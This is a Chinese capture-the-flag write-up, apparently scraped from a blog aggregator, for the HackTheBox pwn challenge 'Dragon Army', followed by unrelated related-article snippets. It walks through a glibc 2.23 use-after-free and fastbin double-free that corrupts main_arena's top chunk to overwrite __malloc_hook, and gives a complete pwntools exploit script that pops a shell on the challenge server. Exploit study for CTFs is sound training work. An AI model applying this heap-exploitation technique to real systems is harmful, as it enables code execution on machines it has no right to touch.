HTB pwn Dragon Army

逆向分析

在这里插入图片描述
程序使用了alloca函数扩大了栈区
在这里插入图片描述
此处可以泄露libc的地址
程序主要功能在下面

  while ( 1 ){while ( 1 ){fflush(stdin);fflush(_bss_start);fprintf(_bss_start, "\n%sDragons: [%d/%d]%s\n\n", "\x1B[1;34m", v5, 13LL, "\x1B[1;37m");fwrite(&unk_20C8, 1uLL, 0xEFuLL, _bss_start);fflush(stdin);fflush(_bss_start);num = read_num();if ( num == 1 )break;if ( num != 2 ){fwrite("\nFarewell..", 1uLL, 0xBuLL, _bss_start);exit(1312);}fwrite("\nDragon of choice: ", 1uLL, 0x13uLL, _bss_start);fflush(stdin);fflush(_bss_start);size = read_num();if ( size >= v5 ){fprintf(_bss_start, "\n%s[-] Unavailable dragon!%s\n", "\x1B[1;31m", "\x1B[1;34m");}else{free(s[size]);//存在UAFfprintf(_bss_start, "\n%s[+] The dragon flies away!\n%s", "\x1B[1;32m", "\x1B[1;34m");}}if ( v5 > 0xC ){fprintf(_bss_start, "\n%s[-] No more summons!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");exit(22);}fwrite("\nDragon's length: ", 1uLL, 0x12uLL, _bss_start);fflush(stdin);fflush(_bss_start);size = read_num();fflush(stdin);fflush(_bss_start);if ( (size > 0x58 || size <= 1) && (size <= 0x68 || size > 0x78) )//关于size为什么要这样设定在下面解释{fprintf(_bss_start, "\n%s[-] Invalid dragon length!%s\n", "\x1B[1;31m", "\x1B[1;34m");}else{v10 = (char *)malloc(size);s[v5] = v10;if ( s[v5] ){fflush(stdin);fflush(_bss_start);fwrite("\nName your dragon: ", 1uLL, 0x13uLL, _bss_start);fflush(stdin);fflush(_bss_start);fgets(s[v5], size, stdin);fflush(stdin);fflush(_bss_start);++v5;}else{fprintf(_bss_start, "\n%s[-] Something went wrong!%s\n\n", "\x1B[1;31m", "\x1B[1;34m");}}

漏洞分析

执行strings libc.so.6 | grep ubuntu
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0(库版本2.23)
在2.23我们熟悉的是利用fastbin UAF 写入malloc_hook上面的fake_fastbin地址然后申请(0x58,0x68]大小的块往malloc_hook写one_shot拿到权限。
但是吧,本题在size上面设置了限制使得我们不能直接一步到位。
那怎么办呢?
其实归根到底中心思想是伪造fastbin块没有变,转换一下思路如果我们可以修改topchunk的地址为malloc_hook附近且保证其大小合法(在malloc_hook - 36就合适)。
因为topchunk地址存在main_arena+96的地方所以我们要利用UAF将一个合法的大小放到main_arena上面
在这里插入图片描述
在这里插入图片描述

summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))

如图通过不断覆写0x61达到目的。

summon(0x58,b'\x00' * 64 + p64(malloc_hook - 36))

接下来把伪造好的块拿出来(main_arena + 0x10)将topchunk改掉。
之后就可以快乐的把malloc_hook申请出来改写了。

解题脚本

from pwn import *
def gd():gdb.attach(p)pause()
def summon(size,data):p.recvuntil(b'>> ')p.sendline(b'1')p.recvuntil(b': ')p.sendline(str(size).encode()) p.recvuntil(b': ')p.sendline(data)
def free(idx):p.recvuntil(b'>> ')p.sendline(b'2')p.recvuntil(b': ')p.sendline(str(idx).encode()) 
#p = process("./da")
p = remote('94.237.53.58',56788)
libc = ELF("./glibc/libc.so.6")
p.recvuntil(b': ')
p.send(b'r3dDr4g3nst1str0f1' + b'a' * 38)
p.recvuntil(b'a' * 38)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x6eab9
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook'] -36
main_arena = libc_base + libc.sym['main_arena']
one_shot = libc_base + 0xe1fa1
summon(0x58,b'a')
summon(0x58,b'a')
free(0)
free(1)
free(0)
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))summon(0x58,b'\x00' * 64 + p64(malloc_hook))
summon(0x48,b'a' * 20 + p64(one_shot))p.interactive()

成功getshell
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/699159.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java中受检异常和非受检异常

什么是受检异常和非受检异常 受检异常&#xff08;Checked Exceptions&#xff09;和非受检异常&#xff08;Unchecked Exceptions&#xff09;是Java中异常处理的两种主要类型&#xff0c;它们在处理方式和适用场景上有所不同。 受检异常是指在编译时期就必须处理的异常&…

【VIP专属】Python应用案例——基于Flask框架的医疗专家系统小程序

目录 一、项目需求: 二、编译环境: 三、项目结构: 四、功能演示:

挑战30天学完Python:Day18 正则表达式

&#x1f4d8; Day 18 &#x1f389; 本系列为Python基础学习&#xff0c;原稿来源于 30-Days-Of-Python 英文项目&#xff0c;大奇主要是对其本地化翻译、逐条验证和补充&#xff0c;想通过30天完成正儿八经的系统化实践。此系列适合零基础同学&#xff0c;或仅了解Python一点…

测试开源C#人脸识别模块DlibDotNet

百度“C# 换脸”找到参考文献4&#xff0c;发现其中使用DlibDotNet检测并识别人脸&#xff08;之前主要用的是ViewFaceCore&#xff09;&#xff0c;DlibDotNet是Dlib的.net封装版本&#xff0c;后者为开源C工具包&#xff0c;支持机器学习算法、图像处理等算法以支撑各类高级应…

计算机网络实验六 OSPF

一、实验目的和要求 1、掌握 OSPF 的基本配置方法; 2、理解 OSPF 的工作原理。见实验指导书 二、实验环境 1、运行 Windows 2008 Server/XP/7 操作系统的 PC 一台。 2、PacketTracer。 三、实验内容与过程(实验题目和代码) 实验内容: 根据以下任务配置网络:某单位拥…

【软考】传输层协议之UDP

目录 一、说明二、特点 一、说明 1.用户数据报协议&#xff08;User Datagram Protocol&#xff09;是一种不可靠的、无连接的协议&#xff0c;可以保证应用程序进程间的通信 2.与TCP相比&#xff0c;UDP是一种无连接的协议&#xff0c;它的错误检测功能要弱很多 3.TCP有助于提…

CVE-2023-44313 Apache ServiceComb Service-Center SSRF 漏洞研究

本次项目基于go语言&#xff08;本人不精通&#xff09;&#xff0c;虽不是java web框架了 &#xff0c;但搭建web服务的框架一些思想理念却是通用的&#xff0c;我们由此可以得到一些蛛丝马迹....... 目录 漏洞简介 漏洞分析 漏洞复现 漏洞简介 Apache ServiceComb Servi…

【python基础学习2】python里和可迭代对象iterator相关的函数:zip(), map(), join() 函数和strip()方法等

目录 1 python里的可迭代对象 1.1 什么是可迭代对象 1.2 python里的可迭代对象 1.3 可迭代对象如何遍历 1.3.1 可迭代方法 1.3.2 迭代器的测试 2 zip()函数&#xff1a; 我愿理解zip()为一个矩阵横向和纵向两种组合方式转化 2.1 zip() 函数定义 2.2 zip()函数的效果 …

git 将一个分支的提交移动到另一个分支

假设想把分支A上的最后一部分commit移动到分支B之上&#xff1a; 首先切到分支B git checkout B然后执行如下指令,commit id 为A分支上&#xff0c;需要移动的那些提交 git cherry-pick <commit id> &#xff08; <commit id> 可多个&#xff09;中途可能遇到一些…

分布式场景怎么Join | 京东云技术团队

背景 最近在阅读查询优化器的论文&#xff0c;发现System R中对于Join操作的定义一般分为了两种&#xff0c;即嵌套循环、排序-合并联接。在原文中&#xff0c;更倾向使用排序-合并联接逻辑。 考虑到我的领域是在处理分库分表或者其他的分区模式&#xff0c;这让我开始不由得…

罗技鼠标滚轮模式介绍 | 鼠标滚轮异响 - 解决方案

滚轮模式介绍 针对罗技的滚轮模式进行介绍&#xff1a; 普通滚轮&#xff1a;滚动时有明显段落感&#xff0c;无法快速滚动。 智能滚轮&#xff1a;滚动力量较弱时&#xff0c;与普通滚轮无异&#xff1b;滚动力量大时&#xff0c;鼠标会自动减小滚轮阻尼&#xff0c;从而使滚…

文本编辑器markdown语法

markdown语法 1.介绍 Markdown是一种使用一定的语法将普通的文本转换成HTML标签文本的编辑语言&#xff0c;它的特点是可以使用普通的文本编辑器来编写&#xff0c;只需要按照特定的语法标记就可以得到丰富多样的HTML格式的文本。 2.标题分级 "# " -> 一级标题 &…

应用感知型网络性能管理

网络基础设施似乎日益复杂和先进&#xff0c;迫使网络管理员抛弃传统的管理方法。应用感知型网络性能管理是一种用于监控网络性能的新型整体方法&#xff0c;它为管理员提供了强大的 IT 资源管理功能。应用感知型网络性能管理为 IT 管理员带来了精细视图、动态资源分配、主动故…

【计网】TCP的三次握手四次挥手

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;JAVA ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 三次握手&#xff08;Connection Establishment&#xff09; 四次挥手&#xff08;Connection Termination&#xff09; 结语 我…

详解计算机病毒

1.1 计算机病毒的基本概念 1.1.1计算机病毒的定义 计算机病毒&#xff0c;是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据&#xff0c;影响计算机使用&#xff0c;并能自我复制的一组计算机指令或者程序代码 。 1.1.2计算机病毒的危害 (1) 占用系统空间。计算…

Linux lndir命令教程:创建符号链接的影子目录(附实例详解和注意事项)

Linux lndir命令介绍 lndir&#xff08;链接目录&#xff09;命令用于创建一个目录树的影子副本&#xff0c;但影子副本中并未填充真实的文件&#xff0c;而是填充了指向原目录树中真实文件的符号链接。这通常对于维护不同机器架构的源代码非常有用。 Linux lndir命令适用的L…

springboot-cache+redis 为指定名称缓存设置独立超时时间

版本 spring-boot: 3.2.2 方案 注册 RedisCacheManagerBuilderCustomizer Bean对指定名称缓存进行定制 Bean RedisCacheManagerBuilderCustomizer redisCacheManagerBuilderCustomizer() {return builder -> builder.withCacheConfiguration(// Cacheable 注解使用的cac…

Linux之权限管理

目录 一.chmod 二.ACL权限 2.1概述 2.2应用ACL权限 一.chmod chmod命令是控制用户对文件的权限的命令。 只有文件所有者和超级用户可以修改文件或目录的权限。 使用权限 : 所有使用者 语法: chmod [-cfvR] [--help] [--version] mode file... 参数说明&#xff1a; mode : …

前端学习——vue学习

文章目录 1. < el-form> 属性 model、prop、rules2. v-bind 与 v-model3. v-if 与 v-show4. v-for 循环语句5. 计算属性 computed6. 监视属性 watch7. 下拉框 el-select、el-option8. 自定义事件9. async与await实现异步调用 1. < el-form> 属性 model、prop、rule…

vue3的elementPlus中使用el-input控制用户输入正确金额,el-input-number遇到的一系列问题

今天在做项目的时候&#xff0c;本来顺顺利利就能上线&#xff0c;但是突然上面给了个任务&#xff0c;在输入框输入金额时&#xff0c;小数点后面位数超过三位就不能在输入了。当时我天真的以为这很好解决&#xff0c;接下来发生的事情让我措不及防。 首先&#xff0c;我原先使…